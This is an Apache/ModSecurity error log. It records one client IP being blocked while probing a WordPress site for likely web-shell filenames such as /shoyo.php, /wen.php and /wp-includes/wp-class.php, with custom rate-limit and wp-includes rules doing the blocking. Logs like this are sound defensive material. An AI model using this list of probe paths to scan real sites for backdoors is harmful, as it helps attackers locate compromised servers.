[Wed Jan 07 00:53:19.963485 2026] [:error] [pid 44904:tid 44961] [client 4.194.99.99:17390] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/includes/index.php"] [unique_id "aV09_ztieuI1BJEZcvd4CQAAAFQ"]
[Wed Jan 07 00:53:20.555393 2026] [:error] [pid 44905:tid 44986] [client 4.194.99.99:17399] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/includes/index.php"] [unique_id "aV0-ALu7ufwWVst9EAsupgAAAJI"]
[Wed Jan 07 00:53:21.678345 2026] [:error] [pid 44905:tid 44970] [client 4.194.99.99:17364] [client 4.194.99.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/index.php"] [unique_id "aV0-Abu7ufwWVst9EAsuqQAAAII"]
[Wed Jan 07 00:53:21.980088 2026] [:error] [pid 44905:tid 44992] [client 4.194.99.99:16979] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-signin.php"] [unique_id "aV0-Abu7ufwWVst9EAsurAAAAJg"]
[Wed Jan 07 00:53:23.017603 2026] [:error] [pid 44905:tid 44969] [client 4.194.99.99:17391] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-signin.php"] [unique_id "aV0-A7u7ufwWVst9EAsusQAAAIE"]
[Wed Jan 07 00:53:24.159565 2026] [:error] [pid 44903:tid 44925] [client 4.194.99.99:17238] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-signin.php"] [unique_id "aV0-BNhHqjs38zbkQPBdBAAAABI"]
[Wed Jan 07 00:53:25.263892 2026] [:error] [pid 44903:tid 44924] [client 4.194.99.99:17254] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-signin.php"] [unique_id "aV0-BdhHqjs38zbkQPBdBwAAABE"]
[Wed Jan 07 00:53:26.538246 2026] [:error] [pid 44905:tid 44991] [client 4.194.99.99:17008] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shoyo.php"] [unique_id "aV0-Bru7ufwWVst9EAsuwwAAAJc"]
[Wed Jan 07 00:53:27.396588 2026] [:error] [pid 45012:tid 45027] [client 4.194.99.99:17052] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shoyo.php"] [unique_id "aV0-BxaMAxCuju1d0uZRWAAAAM0"]
[Wed Jan 07 00:53:27.977875 2026] [:error] [pid 45012:tid 45029] [client 4.194.99.99:17381] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shoyo.php"] [unique_id "aV0-BxaMAxCuju1d0uZRWgAAAM8"]
[Wed Jan 07 00:53:28.687161 2026] [:error] [pid 44904:tid 44947] [client 4.194.99.99:17195] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shoyo.php"] [unique_id "aV0-CDtieuI1BJEZcvd4FAAAAEY"]
[Wed Jan 07 00:53:29.746355 2026] [:error] [pid 45012:tid 45014] [client 4.194.99.99:17326] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/flower.php"] [unique_id "aV0-CRaMAxCuju1d0uZRXgAAAMA"]
[Wed Jan 07 00:53:30.193321 2026] [:error] [pid 44904:tid 44957] [client 4.194.99.99:17143] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/flower.php"] [unique_id "aV0-CjtieuI1BJEZcvd4GgAAAFA"]
[Wed Jan 07 00:53:30.753095 2026] [:error] [pid 44904:tid 44946] [client 4.194.99.99:17324] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/flower.php"] [unique_id "aV0-CjtieuI1BJEZcvd4IAAAAEU"]
[Wed Jan 07 00:53:31.505486 2026] [:error] [pid 44903:tid 44925] [client 4.194.99.99:17291] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/flower.php"] [unique_id "aV0-C9hHqjs38zbkQPBdEwAAABI"]
[Wed Jan 07 00:53:31.847851 2026] [:error] [pid 44905:tid 44968] [client 4.194.99.99:17219] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/waq.php"] [unique_id "aV0-C7u7ufwWVst9EAsu0wAAAIA"]
[Wed Jan 07 00:53:32.101119 2026] [:error] [pid 35140:tid 35162] [client 4.194.99.99:17363] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/waq.php"] [unique_id "aV0-DHoQaIDFMbT-XMwTmAAAARQ"]
[Wed Jan 07 00:53:32.436632 2026] [:error] [pid 44903:tid 44912] [client 4.194.99.99:17084] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/waq.php"] [unique_id "aV0-DNhHqjs38zbkQPBdFwAAAAU"]
[Wed Jan 07 00:53:33.098214 2026] [:error] [pid 44904:tid 44948] [client 4.194.99.99:17069] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/waq.php"] [unique_id "aV0-DTtieuI1BJEZcvd4KwAAAEc"]
[Wed Jan 07 00:53:33.818942 2026] [:error] [pid 44903:tid 44916] [client 4.194.99.99:17112] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wakak.php"] [unique_id "aV0-DdhHqjs38zbkQPBdIAAAAAk"]
[Wed Jan 07 00:53:34.840751 2026] [:error] [pid 44905:tid 44988] [client 4.194.99.99:16961] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wakak.php"] [unique_id "aV0-Dru7ufwWVst9EAsu2AAAAJQ"]
[Wed Jan 07 00:53:35.544580 2026] [:error] [pid 45012:tid 45027] [client 4.194.99.99:17379] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wakak.php"] [unique_id "aV0-DxaMAxCuju1d0uZRZwAAAM0"]
[Wed Jan 07 00:53:36.754028 2026] [:error] [pid 44905:tid 44989] [client 4.194.99.99:17116] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wakak.php"] [unique_id "aV0-ELu7ufwWVst9EAsu3wAAAJU"]
[Wed Jan 07 00:53:37.748840 2026] [:error] [pid 45012:tid 45014] [client 4.194.99.99:17403] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "aV0-ERaMAxCuju1d0uZRbgAAAMA"]
[Wed Jan 07 00:53:39.071342 2026] [:error] [pid 44903:tid 44918] [client 4.194.99.99:17288] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "aV0-E9hHqjs38zbkQPBdNAAAAAs"]
[Wed Jan 07 00:53:40.070445 2026] [:error] [pid 44904:tid 44953] [client 4.194.99.99:17283] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "aV0-FDtieuI1BJEZcvd4NgAAAEw"]
[Wed Jan 07 00:53:41.081215 2026] [:error] [pid 45012:tid 45019] [client 4.194.99.99:17128] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "aV0-FRaMAxCuju1d0uZRfAAAAMU"]
[Wed Jan 07 00:53:42.130661 2026] [:error] [pid 45959:tid 45965] [client 4.194.99.99:17398] [client 4.194.99.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-class.php"] [unique_id "aV0-Flajdn8P3hjgMYxFfgAAAUM"]
[Wed Jan 07 00:53:43.044666 2026] [:error] [pid 44903:tid 44927] [client 4.194.99.99:17030] [client 4.194.99.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/index.php"] [unique_id "aV0-F9hHqjs38zbkQPBdNgAAABQ"]
[Wed Jan 07 00:53:43.424003 2026] [:error] [pid 35140:tid 35151] [client 4.194.99.99:17027] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wen.php"] [unique_id "aV0-F3oQaIDFMbT-XMwTsgAAAQk"]
[Wed Jan 07 00:53:43.954685 2026] [:error] [pid 45959:tid 45970] [client 4.194.99.99:17311] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wen.php"] [unique_id "aV0-F1ajdn8P3hjgMYxFgwAAAUg"]
[Wed Jan 07 00:53:44.676065 2026] [:error] [pid 44905:tid 44989] [client 4.194.99.99:17388] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wen.php"] [unique_id "aV0-GLu7ufwWVst9EAsu8AAAAJU"]
[Wed Jan 07 00:53:45.330520 2026] [:error] [pid 44904:tid 44949] [client 4.194.99.99:17366] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wen.php"] [unique_id "aV0-GTtieuI1BJEZcvd4QwAAAEg"]
[Wed Jan 07 00:53:46.042212 2026] [:error] [pid 35140:tid 35143] [client 4.194.99.99:17333] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cwclass.php"] [unique_id "aV0-GnoQaIDFMbT-XMwTtgAAAQE"]
[Wed Jan 07 00:53:47.440097 2026] [:error] [pid 44905:tid 44981] [client 4.194.99.99:17370] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cwclass.php"] [unique_id "aV0-G7u7ufwWVst9EAsu9wAAAI0"]
[Wed Jan 07 00:53:48.164873 2026] [:error] [pid 35140:tid 35157] [client 4.194.99.99:17402] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cwclass.php"] [unique_id "aV0-HHoQaIDFMbT-XMwTuwAAAQ8"]
[Wed Jan 07 00:53:49.200859 2026] [:error] [pid 35140:tid 35149] [client 4.194.99.99:17359] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cwclass.php"] [unique_id "aV0-HXoQaIDFMbT-XMwTwAAAAQc"]
[Wed Jan 07 00:53:50.253200 2026] [:error] [pid 44905:tid 44977] [client 4.194.99.99:17150] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ah24.php"] [unique_id "aV0-Hru7ufwWVst9EAsu_QAAAIk"]
[Wed Jan 07 00:53:50.678505 2026] [:error] [pid 44905:tid 44971] [client 4.194.99.99:17247] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ah24.php"] [unique_id "aV0-Hru7ufwWVst9EAsu_gAAAIM"]
[Wed Jan 07 00:53:51.447224 2026] [:error] [pid 44905:tid 44985] [client 4.194.99.99:17375] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ah24.php"] [unique_id "aV0-H7u7ufwWVst9EAsvAAAAAJE"]
[Wed Jan 07 00:53:51.800110 2026] [:error] [pid 44903:tid 44928] [client 4.194.99.99:17377] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ah24.php"] [unique_id "aV0-H9hHqjs38zbkQPBdSgAAABU"]
[Wed Jan 07 00:53:52.325604 2026] [:error] [pid 35140:tid 35151] [client 4.194.99.99:17233] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rtx.php"] [unique_id "aV0-IHoQaIDFMbT-XMwTxQAAAQk"]
[Wed Jan 07 00:53:52.748095 2026] [:error] [pid 44905:tid 44970] [client 4.194.99.99:17316] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rtx.php"] [unique_id "aV0-ILu7ufwWVst9EAsvBwAAAII"]
[Wed Jan 07 00:53:53.705656 2026] [:error] [pid 35140:tid 35161] [client 4.194.99.99:17096] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rtx.php"] [unique_id "aV0-IXoQaIDFMbT-XMwTyAAAARM"]
[Wed Jan 07 00:53:54.056461 2026] [:error] [pid 45012:tid 45035] [client 4.194.99.99:17376] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rtx.php"] [unique_id "aV0-IhaMAxCuju1d0uZRfwAAANU"]
[Wed Jan 07 00:53:54.651503 2026] [:error] [pid 44904:tid 44954] [client 4.194.99.99:17162] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bipas.php"] [unique_id "aV0-IjtieuI1BJEZcvd4YgAAAE0"]
[Wed Jan 07 00:53:55.189382 2026] [:error] [pid 35140:tid 35162] [client 4.194.99.99:17026] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bipas.php"] [unique_id "aV0-I3oQaIDFMbT-XMwT0QAAARQ"]
[Wed Jan 07 00:53:55.595594 2026] [:error] [pid 44904:tid 44955] [client 4.194.99.99:17220] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bipas.php"] [unique_id "aV0-IztieuI1BJEZcvd4ZQAAAE4"]
[Wed Jan 07 00:53:56.580917 2026] [:error] [pid 44905:tid 44969] [client 4.194.99.99:17223] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bipas.php"] [unique_id "aV0-JLu7ufwWVst9EAsvEQAAAIE"]
[Wed Jan 07 00:53:57.449847 2026] [:error] [pid 44904:tid 44957] [client 4.194.99.99:17367] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/conte.php"] [unique_id "aV0-JTtieuI1BJEZcvd4bAAAAFA"]
[Wed Jan 07 00:53:58.036128 2026] [:error] [pid 44904:tid 44963] [client 4.194.99.99:17296] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/conte.php"] [unique_id "aV0-JjtieuI1BJEZcvd4bwAAAFY"]
[Wed Jan 07 00:53:58.388384 2026] [:error] [pid 44904:tid 44942] [client 4.194.99.99:17290] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/conte.php"] [unique_id "aV0-JjtieuI1BJEZcvd4cAAAAEE"]
[Wed Jan 07 00:53:59.108226 2026] [:error] [pid 44905:tid 44987] [client 4.194.99.99:17280] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/conte.php"] [unique_id "aV0-J7u7ufwWVst9EAsvHgAAAJM"]
[Wed Jan 07 00:53:59.695625 2026] [:error] [pid 44904:tid 44959] [client 4.194.99.99:17299] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class3.php"] [unique_id "aV0-JztieuI1BJEZcvd4eQAAAFI"]
[Wed Jan 07 00:54:00.052632 2026] [:error] [pid 44903:tid 44933] [client 4.194.99.99:17346] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class3.php"] [unique_id "aV0-KNhHqjs38zbkQPBdTQAAABg"]
